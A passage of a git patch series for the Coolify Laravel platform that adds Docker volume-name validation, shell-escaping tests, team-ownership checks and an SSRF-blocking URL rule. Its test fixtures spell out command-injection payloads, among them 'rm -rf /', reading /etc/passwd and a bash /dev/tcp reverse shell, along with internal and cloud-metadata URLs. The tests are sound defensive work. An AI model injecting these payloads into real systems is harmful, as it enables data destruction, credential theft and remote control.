+ 'backtick injection' => 'vol`id`',
+ 'dollar command substitution' => 'vol$(whoami)',
+ 'redirect injection' => 'vol > /tmp/evil',
+ 'space in name' => 'my volume',
+ 'slash in name' => 'my/volume',
+ 'newline injection' => "vol\nwhoami",
+ 'starts with hyphen' => '-volume',
+ 'starts with dot' => '.volume',
+]);
+
+// --- escapeshellarg Defense Tests ---
+
+it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
+ $command = 'docker volume rm -f '.escapeshellarg($maliciousName);
+
+ // The command should contain the name as a single quoted argument,
+ // preventing shell interpretation of metacharacters
+ expect($command)->not->toContain('; ')
+ ->not->toContain('| ')
+ ->not->toContain('&& ')
+ ->not->toContain('`')
+ ->toStartWith('docker volume rm -f ');
+})->with([
+ 'semicolon' => 'vol; rm -rf /',
+ 'pipe' => 'vol | cat /etc/passwd',
+ 'ampersand' => 'vol && whoami',
+ 'backtick' => 'vol`id`',
+ 'command substitution' => 'vol$(whoami)',
+ 'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
+]);
+
+// --- volumeNameRules Tests ---
+
+it('generates volumeNameRules with correct defaults', function () {
+ $rules = ValidationPatterns::volumeNameRules();
+
+ expect($rules)->toContain('required')
+ ->toContain('string')
+ ->toContain('max:255')
+ ->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
+});
+
+it('generates nullable volumeNameRules when not required', function () {
+ $rules = ValidationPatterns::volumeNameRules(required: false);
+
+ expect($rules)->toContain('nullable')
+ ->not->toContain('required');
+});
+
+it('generates correct volumeNameMessages', function () {
+ $messages = ValidationPatterns::volumeNameMessages();
+
+ expect($messages)->toHaveKey('name.regex');
+});
+
+it('generates volumeNameMessages with custom field name', function () {
+ $messages = ValidationPatterns::volumeNameMessages('volume_name');
+
+ expect($messages)->toHaveKey('volume_name.regex');
+});
From f9a9dc80aa85f494aa4fade9efe46d38afe579f1 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 12:17:39 +0100
Subject: [PATCH 31/95] fix(api): add volume name validation to storage API
endpoints
Apply the same Docker volume name pattern validation to the API
create and update storage endpoints for applications, databases,
and services controllers.
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Api/ApplicationsController.php | 5 +++--
app/Http/Controllers/Api/DatabasesController.php | 5 +++--
app/Http/Controllers/Api/ServicesController.php | 5 +++--
3 files changed, 9 insertions(+), 6 deletions(-)
diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index b081069b7..ad1f50ea2 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -20,6 +20,7 @@
use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl;
use App\Services\DockerImageParser;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
@@ -4096,7 +4097,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -4274,7 +4275,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index f9e171eee..660ed4529 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -19,6 +19,7 @@
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandalonePostgresql;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
@@ -3467,7 +3468,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -3665,7 +3666,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index 89635875c..fbf4b9e56 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -13,6 +13,7 @@
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
@@ -2015,7 +2016,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'resource_uuid' => 'required|string',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -2224,7 +2225,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
From 3e0d48faeaab950bfd063dfca908f1d140316ede Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 13:26:16 +0100
Subject: [PATCH 32/95] refactor: simplify remote process chain and harden
ActivityMonitor
- Inline PrepareCoolifyTask and CoolifyTaskArgs into remote_process(),
removing two single-consumer abstraction layers
- Add #[Locked] attribute to ActivityMonitor $activityId property
- Add team ownership verification in ActivityMonitor.hydrateActivity()
with server_uuid fallback and fail-closed default
- Store team_id in activity properties for proper scoping
- Update CLAUDE.md to remove stale reference
- Add comprehensive tests for activity monitor authorization
Co-Authored-By: Claude Opus 4.6
---
CLAUDE.md | 2 +-
.../CoolifyTask/PrepareCoolifyTask.php | 54 -------------
app/Data/CoolifyTaskArgs.php | 30 -------
app/Livewire/ActivityMonitor.php | 51 +++++++++---
bootstrap/helpers/remoteProcess.php | 64 +++++++++------
.../views/livewire/activity-monitor.blade.php | 4 +-
.../Feature/ActivityMonitorCrossTeamTest.php | 81 +++++++++++++++++--
7 files changed, 155 insertions(+), 131 deletions(-)
delete mode 100644 app/Actions/CoolifyTask/PrepareCoolifyTask.php
delete mode 100644 app/Data/CoolifyTaskArgs.php
diff --git a/CLAUDE.md b/CLAUDE.md
index 99e996756..bb65da405 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -43,7 +43,7 @@ ### Backend Structure (app/)
- **Models/** — Eloquent models extending `BaseModel` which provides auto-CUID2 UUID generation. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.). Common traits: `HasConfiguration`, `HasMetrics`, `HasSafeStringAttribute`, `ClearsGlobalSearchCache`.
- **Services/** — Business logic services (ConfigurationGenerator, DockerImageParser, ContainerStatusAggregator, HetznerService, etc.). Use Services for complex orchestration; use Actions for single-purpose domain operations.
- **Helpers/** — Global helpers loaded via `bootstrap/includeHelpers.php` from `bootstrap/helpers/` — organized into `shared.php`, `constants.php`, `versions.php`, `subscriptions.php`, `domains.php`, `docker.php`, `services.php`, `github.php`, `proxy.php`, `notifications.php`.
-- **Data/** — Spatie Laravel Data DTOs (e.g., `CoolifyTaskArgs`, `ServerMetadata`).
+- **Data/** — Spatie Laravel Data DTOs (e.g., `ServerMetadata`).
- **Enums/** — PHP enums (TitleCase keys). Key enums: `ProcessStatus`, `Role` (MEMBER/ADMIN/OWNER with rank comparison), `BuildPackTypes`, `ProxyTypes`, `ContainerStatusTypes`.
- **Rules/** — Custom validation rules (`ValidGitRepositoryUrl`, `ValidServerIp`, `ValidHostname`, `DockerImageFormat`, etc.).
diff --git a/app/Actions/CoolifyTask/PrepareCoolifyTask.php b/app/Actions/CoolifyTask/PrepareCoolifyTask.php
deleted file mode 100644
index 3f76a2e3c..000000000
--- a/app/Actions/CoolifyTask/PrepareCoolifyTask.php
+++ /dev/null
@@ -1,54 +0,0 @@
-remoteProcessArgs = $remoteProcessArgs;
-
- if ($remoteProcessArgs->model) {
- $properties = $remoteProcessArgs->toArray();
- unset($properties['model']);
-
- $this->activity = activity()
- ->withProperties($properties)
- ->performedOn($remoteProcessArgs->model)
- ->event($remoteProcessArgs->type)
- ->log('[]');
- } else {
- $this->activity = activity()
- ->withProperties($remoteProcessArgs->toArray())
- ->event($remoteProcessArgs->type)
- ->log('[]');
- }
- }
-
- public function __invoke(): Activity
- {
- $job = new CoolifyTask(
- activity: $this->activity,
- ignore_errors: $this->remoteProcessArgs->ignore_errors,
- call_event_on_finish: $this->remoteProcessArgs->call_event_on_finish,
- call_event_data: $this->remoteProcessArgs->call_event_data,
- );
- dispatch($job);
- $this->activity->refresh();
-
- return $this->activity;
- }
-}
diff --git a/app/Data/CoolifyTaskArgs.php b/app/Data/CoolifyTaskArgs.php
deleted file mode 100644
index 24132157a..000000000
--- a/app/Data/CoolifyTaskArgs.php
+++ /dev/null
@@ -1,30 +0,0 @@
-status = ProcessStatus::QUEUED->value;
- }
- }
-}
diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php
index 85ba60c33..665d14ba0 100644
--- a/app/Livewire/ActivityMonitor.php
+++ b/app/Livewire/ActivityMonitor.php
@@ -2,7 +2,9 @@
namespace App\Livewire;
+use App\Models\Server;
use App\Models\User;
+use Livewire\Attributes\Locked;
use Livewire\Component;
use Spatie\Activitylog\Models\Activity;
@@ -10,6 +12,7 @@ class ActivityMonitor extends Component
{
public ?string $header = null;
+ #[Locked]
public $activityId = null;
public $eventToDispatch = 'activityFinished';
@@ -57,25 +60,47 @@ public function hydrateActivity()
$activity = Activity::find($this->activityId);
- if ($activity) {
- $teamId = data_get($activity, 'properties.team_id');
- if ($teamId && $teamId !== currentTeam()?->id) {
+ if (! $activity) {
+ $this->activity = null;
+
+ return;
+ }
+
+ $currentTeamId = currentTeam()?->id;
+
+ // Check team_id stored directly in activity properties
+ $activityTeamId = data_get($activity, 'properties.team_id');
+ if ($activityTeamId !== null) {
+ if ((int) $activityTeamId !== (int) $currentTeamId) {
$this->activity = null;
return;
}
+
+ $this->activity = $activity;
+
+ return;
+ }
+
+ // Fallback: verify ownership via the server that ran the command
+ $serverUuid = data_get($activity, 'properties.server_uuid');
+ if ($serverUuid) {
+ $server = Server::where('uuid', $serverUuid)->first();
+ if ($server && (int) $server->team_id !== (int) $currentTeamId) {
+ $this->activity = null;
+
+ return;
+ }
+
+ if ($server) {
+ $this->activity = $activity;
+
+ return;
+ }
}
- $this->activity = $activity;
- }
-
- public function updatedActivityId($value)
- {
- if ($value) {
- $this->hydrateActivity();
- $this->isPollingActive = true;
- self::$eventDispatched = false;
- }
+ // Fail closed: no team_id and no server_uuid means we cannot verify ownership
+ $this->activity = null;
}
public function polling()
diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php
index f819df380..2544719fc 100644
--- a/bootstrap/helpers/remoteProcess.php
+++ b/bootstrap/helpers/remoteProcess.php
@@ -1,9 +1,10 @@
teams->pluck('id');
if (! $teams->contains($server->team_id) && ! $teams->contains(0)) {
- throw new \Exception('User is not part of the team that owns this server');
+ throw new Exception('User is not part of the team that owns this server');
}
}
SshMultiplexingHelper::ensureMultiplexedConnection($server);
- return resolve(PrepareCoolifyTask::class, [
- 'remoteProcessArgs' => new CoolifyTaskArgs(
- server_uuid: $server->uuid,
- command: $command_string,
- type: $type,
- type_uuid: $type_uuid,
- model: $model,
- ignore_errors: $ignore_errors,
- call_event_on_finish: $callEventOnFinish,
- call_event_data: $callEventData,
- ),
- ])();
+ $properties = [
+ 'server_uuid' => $server->uuid,
+ 'command' => $command_string,
+ 'type' => $type,
+ 'type_uuid' => $type_uuid,
+ 'status' => ProcessStatus::QUEUED->value,
+ 'team_id' => $server->team_id,
+ ];
+
+ $activityLog = activity()
+ ->withProperties($properties)
+ ->event($type);
+
+ if ($model) {
+ $activityLog->performedOn($model);
+ }
+
+ $activity = $activityLog->log('[]');
+
+ dispatch(new CoolifyTask(
+ activity: $activity,
+ ignore_errors: $ignore_errors,
+ call_event_on_finish: $callEventOnFinish,
+ call_event_data: $callEventData,
+ ));
+
+ $activity->refresh();
+
+ return $activity;
}
function instant_scp(string $source, string $dest, Server $server, $throwError = true)
{
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($source, $dest, $server) {
$scp_command = SshMultiplexingHelper::generateScpCommand($server, $source, $dest);
$process = Process::timeout(config('constants.ssh.command_timeout'))->run($scp_command);
@@ -92,7 +110,7 @@ function instant_remote_process_with_timeout(Collection|array $command, Server $
}
$command_string = implode("\n", $command);
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($server, $command_string) {
$sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string);
$process = Process::timeout(30)->run($sshCommand);
@@ -128,7 +146,7 @@ function instant_remote_process(Collection|array $command, Server $server, bool
$command_string = implode("\n", $command);
$effectiveTimeout = $timeout ?? config('constants.ssh.command_timeout');
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($server, $command_string, $effectiveTimeout, $disableMultiplexing) {
$sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string, $disableMultiplexing);
$process = Process::timeout($effectiveTimeout)->run($sshCommand);
@@ -170,9 +188,9 @@ function excludeCertainErrors(string $errorOutput, ?int $exitCode = null)
if ($ignored) {
// TODO: Create new exception and disable in sentry
- throw new \RuntimeException($errorMessage, $exitCode);
+ throw new RuntimeException($errorMessage, $exitCode);
}
- throw new \RuntimeException($errorMessage, $exitCode);
+ throw new RuntimeException($errorMessage, $exitCode);
}
function decode_remote_command_output(?ApplicationDeploymentQueue $application_deployment_queue = null, bool $includeAll = false): Collection
@@ -194,7 +212,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d
associative: true,
flags: JSON_THROW_ON_ERROR
);
- } catch (\JsonException $e) {
+ } catch (JsonException $e) {
// If JSON decoding fails, try to clean up the logs and retry
try {
// Ensure valid UTF-8 encoding
@@ -204,7 +222,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d
associative: true,
flags: JSON_THROW_ON_ERROR
);
- } catch (\JsonException $e) {
+ } catch (JsonException $e) {
// If it still fails, return empty collection to prevent crashes
return collect([]);
}
@@ -353,7 +371,7 @@ function checkRequiredCommands(Server $server)
}
try {
instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'apt update && apt install -y {$command}'"], $server);
- } catch (\Throwable) {
+ } catch (Throwable) {
break;
}
$commandFound = instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'command -v {$command}'"], $server, false);
diff --git a/resources/views/livewire/activity-monitor.blade.php b/resources/views/livewire/activity-monitor.blade.php
index 386d8622d..290a91857 100644
--- a/resources/views/livewire/activity-monitor.blade.php
+++ b/resources/views/livewire/activity-monitor.blade.php
@@ -34,10 +34,10 @@
}
}" x-init="// Initial scroll
$nextTick(() => scrollToBottom());
-
+
// Add scroll event listener
$el.addEventListener('scroll', () => handleScroll());
-
+
// Set up mutation observer to watch for content changes
observer = new MutationObserver(() => {
$nextTick(() => scrollToBottom());
diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.php
index 7e4aebc2f..9966ac2dd 100644
--- a/tests/Feature/ActivityMonitorCrossTeamTest.php
+++ b/tests/Feature/ActivityMonitorCrossTeamTest.php
@@ -1,9 +1,11 @@
otherTeam = Team::factory()->create();
});
-test('hydrateActivity blocks access to another teams activity', function () {
+test('hydrateActivity blocks access to another teams activity via team_id', function () {
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -27,12 +29,12 @@
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
- $component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $otherActivity->id)
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $otherActivity->id)
->assertSet('activity', null);
});
-test('hydrateActivity allows access to own teams activity', function () {
+test('hydrateActivity allows access to own teams activity via team_id', function () {
$ownActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -43,13 +45,13 @@
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $ownActivity->id);
+ ->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
expect($component->get('activity')->id)->toBe($ownActivity->id);
});
-test('hydrateActivity allows access to activity without team_id in properties', function () {
+test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
$legacyActivity = Activity::create([
'log_name' => 'default',
'description' => 'legacy activity',
@@ -59,9 +61,72 @@
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $legacyActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
+ $otherServer = Server::factory()->create([
+ 'team_id' => $this->otherTeam->id,
+ ]);
+
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['server_uuid' => $otherServer->uuid],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $otherActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
+ $ownServer = Server::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+
+ $ownActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['server_uuid' => $ownServer->uuid],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
$component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $legacyActivity->id);
+ ->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
- expect($component->get('activity')->id)->toBe($legacyActivity->id);
+ expect($component->get('activity')->id)->toBe($ownActivity->id);
});
+
+test('hydrateActivity returns null for non-existent activity id', function () {
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', 99999)
+ ->assertSet('activity', null);
+});
+
+test('activityId property is locked and cannot be set from client', function () {
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['team_id' => $this->otherTeam->id],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ // Attempting to set a #[Locked] property from the client should throw
+ Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $otherActivity->id)
+ ->assertStatus(500);
+})->throws(CannotUpdateLockedPropertyException::class);
From 0fce7fa9481aa1bcca06d767075684a11e032c79 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 13:45:33 +0100
Subject: [PATCH 33/95] fix: add URL validation for GitHub source api_url and
html_url fields
Add SafeExternalUrl validation rule that ensures URLs point to
publicly-routable hosts. Apply to all GitHub source entry points
(Livewire Create, Livewire Change, API create and update).
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Api/GithubController.php | 21 ++---
app/Livewire/Source/Github/Change.php | 40 ++++-----
app/Livewire/Source/Github/Create.php | 5 +-
app/Rules/SafeExternalUrl.php | 81 +++++++++++++++++++
tests/Unit/SafeExternalUrlTest.php | 75 +++++++++++++++++
5 files changed, 193 insertions(+), 29 deletions(-)
create mode 100644 app/Rules/SafeExternalUrl.php
create mode 100644 tests/Unit/SafeExternalUrlTest.php
diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php
index f6a6b3513..9a2cf2b9f 100644
--- a/app/Http/Controllers/Api/GithubController.php
+++ b/app/Http/Controllers/Api/GithubController.php
@@ -5,6 +5,9 @@
use App\Http\Controllers\Controller;
use App\Models\GithubApp;
use App\Models\PrivateKey;
+use App\Rules\SafeExternalUrl;
+use Illuminate\Database\Eloquent\ModelNotFoundException;
+use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Str;
@@ -181,7 +184,7 @@ public function create_github_app(Request $request)
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -204,8 +207,8 @@ public function create_github_app(Request $request)
$validator = customApiValidator($request->all(), [
'name' => 'required|string|max:255',
'organization' => 'nullable|string|max:255',
- 'api_url' => 'required|string|url',
- 'html_url' => 'required|string|url',
+ 'api_url' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'html_url' => ['required', 'string', 'url', new SafeExternalUrl],
'custom_user' => 'nullable|string|max:255',
'custom_port' => 'nullable|integer|min:1|max:65535',
'app_id' => 'required|integer',
@@ -370,7 +373,7 @@ public function load_repositories($github_app_id)
return response()->json([
'repositories' => $repositories->sortBy('name')->values(),
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json(['message' => 'GitHub app not found'], 404);
} catch (\Throwable $e) {
return handleError($e);
@@ -472,7 +475,7 @@ public function load_branches($github_app_id, $owner, $repo)
return response()->json([
'branches' => $branches,
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json(['message' => 'GitHub app not found'], 404);
} catch (\Throwable $e) {
return handleError($e);
@@ -587,10 +590,10 @@ public function update_github_app(Request $request, $github_app_id)
$rules['organization'] = 'nullable|string';
}
if (isset($payload['api_url'])) {
- $rules['api_url'] = 'url';
+ $rules['api_url'] = ['url', new SafeExternalUrl];
}
if (isset($payload['html_url'])) {
- $rules['html_url'] = 'url';
+ $rules['html_url'] = ['url', new SafeExternalUrl];
}
if (isset($payload['custom_user'])) {
$rules['custom_user'] = 'string';
@@ -651,7 +654,7 @@ public function update_github_app(Request $request, $github_app_id)
'message' => 'GitHub app updated successfully',
'data' => $githubApp,
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json([
'message' => 'GitHub app not found',
], 404);
@@ -736,7 +739,7 @@ public function delete_github_app($github_app_id)
return response()->json([
'message' => 'GitHub app deleted successfully',
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json([
'message' => 'GitHub app not found',
], 404);
diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php
index 17323fdec..d6537069c 100644
--- a/app/Livewire/Source/Github/Change.php
+++ b/app/Livewire/Source/Github/Change.php
@@ -5,6 +5,7 @@
use App\Jobs\GithubAppPermissionJob;
use App\Models\GithubApp;
use App\Models\PrivateKey;
+use App\Rules\SafeExternalUrl;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\Http;
use Lcobucci\JWT\Configuration;
@@ -71,24 +72,27 @@ class Change extends Component
public $privateKeys;
- protected $rules = [
- 'name' => 'required|string',
- 'organization' => 'nullable|string',
- 'apiUrl' => 'required|string',
- 'htmlUrl' => 'required|string',
- 'customUser' => 'required|string',
- 'customPort' => 'required|int',
- 'appId' => 'nullable|int',
- 'installationId' => 'nullable|int',
- 'clientId' => 'nullable|string',
- 'clientSecret' => 'nullable|string',
- 'webhookSecret' => 'nullable|string',
- 'isSystemWide' => 'required|bool',
- 'contents' => 'nullable|string',
- 'metadata' => 'nullable|string',
- 'pullRequests' => 'nullable|string',
- 'privateKeyId' => 'nullable|int',
- ];
+ protected function rules(): array
+ {
+ return [
+ 'name' => 'required|string',
+ 'organization' => 'nullable|string',
+ 'apiUrl' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'htmlUrl' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'customUser' => 'required|string',
+ 'customPort' => 'required|int',
+ 'appId' => 'nullable|int',
+ 'installationId' => 'nullable|int',
+ 'clientId' => 'nullable|string',
+ 'clientSecret' => 'nullable|string',
+ 'webhookSecret' => 'nullable|string',
+ 'isSystemWide' => 'required|bool',
+ 'contents' => 'nullable|string',
+ 'metadata' => 'nullable|string',
+ 'pullRequests' => 'nullable|string',
+ 'privateKeyId' => 'nullable|int',
+ ];
+ }
public function boot()
{
diff --git a/app/Livewire/Source/Github/Create.php b/app/Livewire/Source/Github/Create.php
index 4ece6a92f..ec2ba3f08 100644
--- a/app/Livewire/Source/Github/Create.php
+++ b/app/Livewire/Source/Github/Create.php
@@ -3,6 +3,7 @@
namespace App\Livewire\Source\Github;
use App\Models\GithubApp;
+use App\Rules\SafeExternalUrl;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -37,8 +38,8 @@ public function createGitHubApp()
$this->validate([
'name' => 'required|string',
'organization' => 'nullable|string',
- 'api_url' => 'required|string',
- 'html_url' => 'required|string',
+ 'api_url' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'html_url' => ['required', 'string', 'url', new SafeExternalUrl],
'custom_user' => 'required|string',
'custom_port' => 'required|int',
'is_system_wide' => 'required|bool',
diff --git a/app/Rules/SafeExternalUrl.php b/app/Rules/SafeExternalUrl.php
new file mode 100644
index 000000000..41299d6c1
--- /dev/null
+++ b/app/Rules/SafeExternalUrl.php
@@ -0,0 +1,81 @@
+ $attribute,
+ 'url' => $value,
+ 'host' => $host,
+ 'ip' => request()->ip(),
+ 'user_id' => auth()->id(),
+ ]);
+ $fail('The :attribute must not point to internal hosts.');
+
+ return;
+ }
+
+ // Resolve hostname to IP and block private/reserved ranges
+ $ip = gethostbyname($host);
+
+ // gethostbyname returns the original hostname on failure (e.g. unresolvable)
+ if ($ip === $host && ! filter_var($host, FILTER_VALIDATE_IP)) {
+ $fail('The :attribute host could not be resolved.');
+
+ return;
+ }
+
+ if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ Log::warning('External URL resolves to private or reserved IP', [
+ 'attribute' => $attribute,
+ 'url' => $value,
+ 'host' => $host,
+ 'resolved_ip' => $ip,
+ 'ip' => request()->ip(),
+ 'user_id' => auth()->id(),
+ ]);
+ $fail('The :attribute must not point to a private or reserved IP address.');
+
+ return;
+ }
+ }
+}
diff --git a/tests/Unit/SafeExternalUrlTest.php b/tests/Unit/SafeExternalUrlTest.php
new file mode 100644
index 000000000..b2bc13337
--- /dev/null
+++ b/tests/Unit/SafeExternalUrlTest.php
@@ -0,0 +1,75 @@
+ $url], ['url' => $rule]);
+ expect($validator->passes())->toBeTrue("Expected valid: {$url}");
+ }
+});
+
+it('rejects private IPv4 addresses', function (string $url) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $url], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
+})->with([
+ 'loopback' => 'http://127.0.0.1',
+ 'loopback with port' => 'http://127.0.0.1:6379',
+ '10.x range' => 'http://10.0.0.1',
+ '172.16.x range' => 'http://172.16.0.1',
+ '192.168.x range' => 'http://192.168.1.1',
+]);
+
+it('rejects cloud metadata IP', function () {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
+});
+
+it('rejects localhost and internal hostnames', function (string $url) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $url], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
+})->with([
+ 'localhost' => 'http://localhost',
+ 'localhost with port' => 'http://localhost:8080',
+ 'zero address' => 'http://0.0.0.0',
+ '.local domain' => 'http://myservice.local',
+ '.internal domain' => 'http://myservice.internal',
+]);
+
+it('rejects non-URL strings', function (string $value) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $value], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
+})->with([
+ 'plain string' => 'not-a-url',
+ 'ftp scheme' => 'ftp://example.com',
+ 'javascript scheme' => 'javascript:alert(1)',
